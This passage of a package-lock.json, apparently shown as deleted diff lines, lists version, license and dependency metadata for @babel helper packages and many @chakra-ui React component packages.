- "node_modules/@babel/helper-plugin-utils": {
- "version": "7.24.8",
- "license": "MIT",
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helper-replace-supers": {
- "version": "7.25.0",
- "license": "MIT",
- "dependencies": {
- "@babel/helper-member-expression-to-functions": "^7.24.8",
- "@babel/helper-optimise-call-expression": "^7.24.7",
- "@babel/traverse": "^7.25.0"
- },
- "engines": {
- "node": ">=6.9.0"
- },
- "peerDependencies": {
- "@babel/core": "^7.0.0"
- }
- },
- "node_modules/@babel/helper-simple-access": {
- "version": "7.24.7",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@babel/traverse": "^7.24.7",
- "@babel/types": "^7.24.7"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helper-skip-transparent-expression-wrappers": {
- "version": "7.24.7",
- "license": "MIT",
- "dependencies": {
- "@babel/traverse": "^7.24.7",
- "@babel/types": "^7.24.7"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helper-string-parser": {
- "version": "7.24.8",
- "license": "MIT",
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helper-validator-identifier": {
- "version": "7.24.7",
- "license": "MIT",
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helper-validator-option": {
- "version": "7.24.8",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helpers": {
- "version": "7.25.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@babel/template": "^7.25.0",
- "@babel/types": "^7.25.0"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/highlight": {
- "version": "7.24.7",
- "license": "MIT",
- "dependencies": {
- "@babel/helper-validator-identifier": "^7.24.7",
- "chalk": "^2.4.2",
- "js-tokens": "^4.0.0",
- "picocolors": "^1.0.0"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/parser": {
- "version": "7.25.3",
- "license": "MIT",
- "dependencies": {
- "@babel/types": "^7.25.2"
- },
- "bin": {
- "parser": "bin/babel-parser.js"
- },
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@babel/plugin-proposal-private-property-in-object": {
- "version": "7.21.11",
- "license": "MIT",
- "dependencies": {
- "@babel/helper-annotate-as-pure": "^7.18.6",
- "@babel/helper-create-class-features-plugin": "^7.21.0",
- "@babel/helper-plugin-utils": "^7.20.2",
- "@babel/plugin-syntax-private-property-in-object": "^7.14.5"
- },
- "engines": {
- "node": ">=6.9.0"
- },
- "peerDependencies": {
- "@babel/core": "^7.0.0-0"
- }
- },
- "node_modules/@babel/plugin-syntax-private-property-in-object": {
- "version": "7.14.5",
- "license": "MIT",
- "dependencies": {
- "@babel/helper-plugin-utils": "^7.14.5"
- },
- "engines": {
- "node": ">=6.9.0"
- },
- "peerDependencies": {
- "@babel/core": "^7.0.0-0"
- }
- },
- "node_modules/@babel/runtime": {
- "version": "7.24.7",
- "license": "MIT",
- "dependencies": {
- "regenerator-runtime": "^0.14.0"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/template": {
- "version": "7.25.0",
- "license": "MIT",
- "dependencies": {
- "@babel/code-frame": "^7.24.7",
- "@babel/parser": "^7.25.0",
- "@babel/types": "^7.25.0"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/traverse": {
- "version": "7.25.3",
- "license": "MIT",
- "dependencies": {
- "@babel/code-frame": "^7.24.7",
- "@babel/generator": "^7.25.0",
- "@babel/parser": "^7.25.3",
- "@babel/template": "^7.25.0",
- "@babel/types": "^7.25.2",
- "debug": "^4.3.1",
- "globals": "^11.1.0"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/traverse/node_modules/globals": {
- "version": "11.12.0",
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/@babel/types": {
- "version": "7.25.2",
- "license": "MIT",
- "dependencies": {
- "@babel/helper-string-parser": "^7.24.8",
- "@babel/helper-validator-identifier": "^7.24.7",
- "to-fast-properties": "^2.0.0"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@chakra-ui/accordion": {
- "version": "2.3.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/descendant": "3.1.0",
- "@chakra-ui/icon": "3.2.0",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-use-controllable-state": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5",
- "@chakra-ui/transition": "2.1.0"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "framer-motion": ">=4.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/alert": {
- "version": "2.2.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/icon": "3.2.0",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5",
- "@chakra-ui/spinner": "2.1.0"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/anatomy": {
- "version": "2.2.2",
- "license": "MIT"
- },
- "node_modules/@chakra-ui/avatar": {
- "version": "2.3.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/image": "2.1.0",
- "@chakra-ui/react-children-utils": "2.0.6",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/breadcrumb": {
- "version": "2.2.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-children-utils": "2.0.6",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/breakpoint-utils": {
- "version": "2.0.8",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/shared-utils": "2.0.5"
- }
- },
- "node_modules/@chakra-ui/button": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5",
- "@chakra-ui/spinner": "2.1.0"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/card": {
- "version": "2.2.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/checkbox": {
- "version": "2.3.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/form-control": "2.2.0",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-types": "2.0.7",
- "@chakra-ui/react-use-callback-ref": "2.1.0",
- "@chakra-ui/react-use-controllable-state": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/react-use-safe-layout-effect": "2.1.0",
- "@chakra-ui/react-use-update-effect": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5",
- "@chakra-ui/visually-hidden": "2.2.0",
- "@zag-js/focus-visible": "0.16.0"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/clickable": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/close-button": {
- "version": "2.1.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/icon": "3.2.0"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/color-mode": {
- "version": "2.2.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-use-safe-layout-effect": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/control-box": {
- "version": "2.1.0",
- "license": "MIT",
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/counter": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/number-utils": "2.0.7",
- "@chakra-ui/react-use-callback-ref": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/css-reset": {
- "version": "2.3.0",
- "license": "MIT",
- "peerDependencies": {
- "@emotion/react": ">=10.0.35",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/descendant": {
- "version": "3.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/dom-utils": {
- "version": "2.1.0",
- "license": "MIT"
- },
- "node_modules/@chakra-ui/editable": {
- "version": "3.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-types": "2.0.7",
- "@chakra-ui/react-use-callback-ref": "2.1.0",
- "@chakra-ui/react-use-controllable-state": "2.1.0",
- "@chakra-ui/react-use-focus-on-pointer-down": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/react-use-safe-layout-effect": "2.1.0",
- "@chakra-ui/react-use-update-effect": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/event-utils": {
- "version": "2.0.8",
- "license": "MIT"
- },
- "node_modules/@chakra-ui/focus-lock": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/dom-utils": "2.1.0",
- "react-focus-lock": "^2.9.4"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/form-control": {
- "version": "2.2.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/icon": "3.2.0",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-types": "2.0.7",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/hooks": {
- "version": "2.2.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-utils": "2.0.12",
- "@chakra-ui/utils": "2.0.15",
- "compute-scroll-into-view": "3.0.3",
- "copy-to-clipboard": "3.3.3"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/icon": {
- "version": "3.2.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/image": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-use-safe-layout-effect": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/input": {
- "version": "2.1.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/form-control": "2.2.0",
- "@chakra-ui/object-utils": "2.1.0",
- "@chakra-ui/react-children-utils": "2.0.6",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/layout": {
- "version": "2.3.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/breakpoint-utils": "2.0.8",
- "@chakra-ui/icon": "3.2.0",
- "@chakra-ui/object-utils": "2.1.0",
- "@chakra-ui/react-children-utils": "2.0.6",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/lazy-utils": {
- "version": "2.0.5",
- "license": "MIT"
- },
- "node_modules/@chakra-ui/live-region": {
- "version": "2.1.0",
- "license": "MIT",
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/media-query": {
- "version": "3.3.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/breakpoint-utils": "2.0.8",
- "@chakra-ui/react-env": "3.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/menu": {
- "version": "2.2.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/clickable": "2.1.0",
- "@chakra-ui/descendant": "3.1.0",
- "@chakra-ui/lazy-utils": "2.0.5",
- "@chakra-ui/popper": "3.1.0",
- "@chakra-ui/react-children-utils": "2.0.6",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-use-animation-state": "2.1.0",
- "@chakra-ui/react-use-controllable-state": "2.1.0",
- "@chakra-ui/react-use-disclosure": "2.1.0",
- "@chakra-ui/react-use-focus-effect": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/react-use-outside-click": "2.2.0",
- "@chakra-ui/react-use-update-effect": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5",
- "@chakra-ui/transition": "2.1.0"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "framer-motion": ">=4.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/modal": {
- "version": "2.3.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/close-button": "2.1.1",
- "@chakra-ui/focus-lock": "2.1.0",
- "@chakra-ui/portal": "2.1.0",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-types": "2.0.7",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5",
- "@chakra-ui/transition": "2.1.0",
- "aria-hidden": "^1.2.3",
- "react-remove-scroll": "^2.5.6"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "framer-motion": ">=4.0.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@chakra-ui/number-input": {
- "version": "2.1.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/counter": "2.1.0",
- "@chakra-ui/form-control": "2.2.0",
- "@chakra-ui/icon": "3.2.0",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-types": "2.0.7",
- "@chakra-ui/react-use-callback-ref": "2.1.0",
- "@chakra-ui/react-use-event-listener": "2.1.0",
- "@chakra-ui/react-use-interval": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/react-use-safe-layout-effect": "2.1.0",
- "@chakra-ui/react-use-update-effect": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/number-utils": {
- "version": "2.0.7",
- "license": "MIT"
- },
- "node_modules/@chakra-ui/object-utils": {
- "version": "2.1.0",
- "license": "MIT"
- },
- "node_modules/@chakra-ui/pin-input": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/descendant": "3.1.0",
- "@chakra-ui/react-children-utils": "2.0.6",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-use-controllable-state": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/popover": {
- "version": "2.2.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/close-button": "2.1.1",
- "@chakra-ui/lazy-utils": "2.0.5",
- "@chakra-ui/popper": "3.1.0",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-types": "2.0.7",
- "@chakra-ui/react-use-animation-state": "2.1.0",
- "@chakra-ui/react-use-disclosure": "2.1.0",
- "@chakra-ui/react-use-focus-effect": "2.1.0",
- "@chakra-ui/react-use-focus-on-pointer-down": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "framer-motion": ">=4.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/popper": {
- "version": "3.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-types": "2.0.7",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@popperjs/core": "^2.9.3"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/portal": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-use-safe-layout-effect": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@chakra-ui/progress": {
- "version": "2.2.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-context": "2.1.0"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/provider": {
- "version": "2.4.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/css-reset": "2.3.0",
- "@chakra-ui/portal": "2.1.0",
- "@chakra-ui/react-env": "3.1.0",
- "@chakra-ui/system": "2.6.2",
- "@chakra-ui/utils": "2.0.15"
- },
- "peerDependencies": {
- "@emotion/react": "^11.0.0",
- "@emotion/styled": "^11.0.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@chakra-ui/radio": {
- "version": "2.1.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/form-control": "2.2.0",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-types": "2.0.7",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5",
- "@zag-js/focus-visible": "0.16.0"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react": {
- "version": "2.8.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/accordion": "2.3.1",
- "@chakra-ui/alert": "2.2.2",
- "@chakra-ui/avatar": "2.3.0",
- "@chakra-ui/breadcrumb": "2.2.0",
- "@chakra-ui/button": "2.1.0",
- "@chakra-ui/card": "2.2.0",
- "@chakra-ui/checkbox": "2.3.2",
- "@chakra-ui/close-button": "2.1.1",
- "@chakra-ui/control-box": "2.1.0",
- "@chakra-ui/counter": "2.1.0",
- "@chakra-ui/css-reset": "2.3.0",
- "@chakra-ui/editable": "3.1.0",
- "@chakra-ui/focus-lock": "2.1.0",
- "@chakra-ui/form-control": "2.2.0",
- "@chakra-ui/hooks": "2.2.1",
- "@chakra-ui/icon": "3.2.0",
- "@chakra-ui/image": "2.1.0",
- "@chakra-ui/input": "2.1.2",
- "@chakra-ui/layout": "2.3.1",
- "@chakra-ui/live-region": "2.1.0",
- "@chakra-ui/media-query": "3.3.0",
- "@chakra-ui/menu": "2.2.1",
- "@chakra-ui/modal": "2.3.1",
- "@chakra-ui/number-input": "2.1.2",
- "@chakra-ui/pin-input": "2.1.0",
- "@chakra-ui/popover": "2.2.1",
- "@chakra-ui/popper": "3.1.0",
- "@chakra-ui/portal": "2.1.0",
- "@chakra-ui/progress": "2.2.0",
- "@chakra-ui/provider": "2.4.2",
- "@chakra-ui/radio": "2.1.2",
- "@chakra-ui/react-env": "3.1.0",
- "@chakra-ui/select": "2.1.2",
- "@chakra-ui/skeleton": "2.1.0",
- "@chakra-ui/skip-nav": "2.1.0",
- "@chakra-ui/slider": "2.1.0",
- "@chakra-ui/spinner": "2.1.0",
- "@chakra-ui/stat": "2.1.1",
- "@chakra-ui/stepper": "2.3.1",
- "@chakra-ui/styled-system": "2.9.2",
- "@chakra-ui/switch": "2.1.2",
- "@chakra-ui/system": "2.6.2",
- "@chakra-ui/table": "2.1.0",
- "@chakra-ui/tabs": "3.0.0",
- "@chakra-ui/tag": "3.1.1",
- "@chakra-ui/textarea": "2.1.2",
- "@chakra-ui/theme": "3.3.1",
- "@chakra-ui/theme-utils": "2.0.21",
- "@chakra-ui/toast": "7.0.2",
- "@chakra-ui/tooltip": "2.3.1",
- "@chakra-ui/transition": "2.1.0",
- "@chakra-ui/utils": "2.0.15",
- "@chakra-ui/visually-hidden": "2.2.0"
- },
- "peerDependencies": {
- "@emotion/react": "^11.0.0",
- "@emotion/styled": "^11.0.0",
- "framer-motion": ">=4.0.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-children-utils": {
- "version": "2.0.6",
- "license": "MIT",
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-context": {
- "version": "2.1.0",
- "license": "MIT",
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-env": {
- "version": "3.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-use-safe-layout-effect": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-types": {
- "version": "2.0.7",
- "license": "MIT",
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-animation-state": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/dom-utils": "2.1.0",
- "@chakra-ui/react-use-event-listener": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-callback-ref": {
- "version": "2.1.0",
- "license": "MIT",
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-controllable-state": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-use-callback-ref": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-disclosure": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-use-callback-ref": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-event-listener": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-use-callback-ref": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-focus-effect": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/dom-utils": "2.1.0",
- "@chakra-ui/react-use-event-listener": "2.1.0",
- "@chakra-ui/react-use-safe-layout-effect": "2.1.0",
- "@chakra-ui/react-use-update-effect": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-focus-on-pointer-down": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-use-event-listener": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-interval": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-use-callback-ref": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-latest-ref": {
- "version": "2.1.0",
- "license": "MIT",
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-merge-refs": {
- "version": "2.1.0",
- "license": "MIT",
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-outside-click": {
- "version": "2.2.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-use-callback-ref": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-pan-event": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/event-utils": "2.0.8",
- "@chakra-ui/react-use-latest-ref": "2.1.0",
- "framesync": "6.1.2"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-previous": {
- "version": "2.1.0",
- "license": "MIT",
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-safe-layout-effect": {
- "version": "2.1.0",
- "license": "MIT",
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-size": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@zag-js/element-size": "0.10.5"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-timeout": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-use-callback-ref": "2.1.0"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-use-update-effect": {
- "version": "2.1.0",
- "license": "MIT",
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/react-utils": {
- "version": "2.0.12",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/utils": "2.0.15"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/select": {
- "version": "2.1.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/form-control": "2.2.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/shared-utils": {
- "version": "2.0.5",
- "license": "MIT"
- },
- "node_modules/@chakra-ui/skeleton": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/media-query": "3.3.0",
- "@chakra-ui/react-use-previous": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/skip-nav": {
- "version": "2.1.0",
- "license": "MIT",
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/slider": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/number-utils": "2.0.7",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-types": "2.0.7",
- "@chakra-ui/react-use-callback-ref": "2.1.0",
- "@chakra-ui/react-use-controllable-state": "2.1.0",
- "@chakra-ui/react-use-latest-ref": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/react-use-pan-event": "2.1.0",
- "@chakra-ui/react-use-size": "2.1.0",
- "@chakra-ui/react-use-update-effect": "2.1.0"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/spinner": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/stat": {
- "version": "2.1.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/icon": "3.2.0",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/stepper": {
- "version": "2.3.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/icon": "3.2.0",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/styled-system": {
- "version": "2.9.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/shared-utils": "2.0.5",
- "csstype": "^3.1.2",
- "lodash.mergewith": "4.6.2"
- }
- },
- "node_modules/@chakra-ui/switch": {
- "version": "2.1.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/checkbox": "2.3.2",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "framer-motion": ">=4.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/system": {
- "version": "2.6.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/color-mode": "2.2.0",
- "@chakra-ui/object-utils": "2.1.0",
- "@chakra-ui/react-utils": "2.0.12",
- "@chakra-ui/styled-system": "2.9.2",
- "@chakra-ui/theme-utils": "2.0.21",
- "@chakra-ui/utils": "2.0.15",
- "react-fast-compare": "3.2.2"
- },
- "peerDependencies": {
- "@emotion/react": "^11.0.0",
